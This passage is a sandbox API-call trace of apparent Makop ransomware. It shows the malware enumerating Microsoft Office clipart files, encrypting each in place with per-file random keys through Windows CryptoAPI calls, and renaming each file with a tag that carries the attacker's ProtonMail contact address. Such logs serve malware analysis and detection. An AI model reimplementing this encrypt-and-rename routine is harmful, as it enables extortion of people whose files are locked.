ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0115.195] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0115.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.198] GetProcessHeap () returned 0x48a0000 [0115.198] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.198] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.198] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.198] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.202] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.203] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.203] GetProcessHeap () returned 0x48a0000 [0115.203] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.203] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.204] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.204] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.204] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.204] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.204] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.205] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.205] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x47c, lpOverlapped=0x0) returned 1 [0115.205] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x480, dwBufLen=0x480 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x480) returned 1 [0115.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.205] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x480, lpOverlapped=0x0) returned 1 [0115.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.206] SetEndOfFile (hFile=0xf0) returned 1 [0115.213] GetProcessHeap () returned 0x48a0000 [0115.213] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.213] GetProcessHeap () returned 0x48a0000 [0115.213] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.213] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.214] CloseHandle (hObject=0xf0) returned 1 [0115.214] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0115.214] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0115.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.215] GetProcessHeap () returned 0x48a0000 [0115.215] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.215] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.215] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.215] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.219] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.219] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.220] GetProcessHeap () returned 0x48a0000 [0115.220] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.220] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.220] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.220] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.220] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.220] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.220] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.220] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.221] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.221] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.221] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.221] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xac4, lpOverlapped=0x0) returned 1 [0115.221] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xad0, dwBufLen=0xad0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xad0) returned 1 [0115.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.221] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xad0, lpOverlapped=0x0) returned 1 [0115.221] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.222] SetEndOfFile (hFile=0xf0) returned 1 [0115.228] GetProcessHeap () returned 0x48a0000 [0115.229] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.229] GetProcessHeap () returned 0x48a0000 [0115.229] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.229] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.230] CloseHandle (hObject=0xf0) returned 1 [0115.230] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0115.230] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0115.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.231] GetProcessHeap () returned 0x48a0000 [0115.231] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.231] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.231] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.238] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.238] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.238] GetProcessHeap () returned 0x48a0000 [0115.238] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.238] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.238] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.238] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.238] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.238] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.238] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.239] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.239] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.239] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.239] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.239] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.239] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f4, lpOverlapped=0x0) returned 1 [0115.240] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x500, dwBufLen=0x500 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x500) returned 1 [0115.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.240] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x500, lpOverlapped=0x0) returned 1 [0115.240] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.240] SetEndOfFile (hFile=0xf0) returned 1 [0115.247] GetProcessHeap () returned 0x48a0000 [0115.247] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.247] GetProcessHeap () returned 0x48a0000 [0115.247] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.247] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.249] CloseHandle (hObject=0xf0) returned 1 [0115.249] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0115.249] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 63 [0115.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.250] GetProcessHeap () returned 0x48a0000 [0115.250] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.250] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.250] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.251] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.255] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.255] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.255] GetProcessHeap () returned 0x48a0000 [0115.256] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.256] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.256] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.256] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.256] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.256] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.257] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.257] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.257] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.257] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.257] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1388, lpOverlapped=0x0) returned 1 [0115.259] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390, dwBufLen=0x1390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390) returned 1 [0115.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.259] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1390, lpOverlapped=0x0) returned 1 [0115.259] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.259] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.259] SetEndOfFile (hFile=0xf0) returned 1 [0115.267] GetProcessHeap () returned 0x48a0000 [0115.267] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.267] GetProcessHeap () returned 0x48a0000 [0115.267] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.267] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft 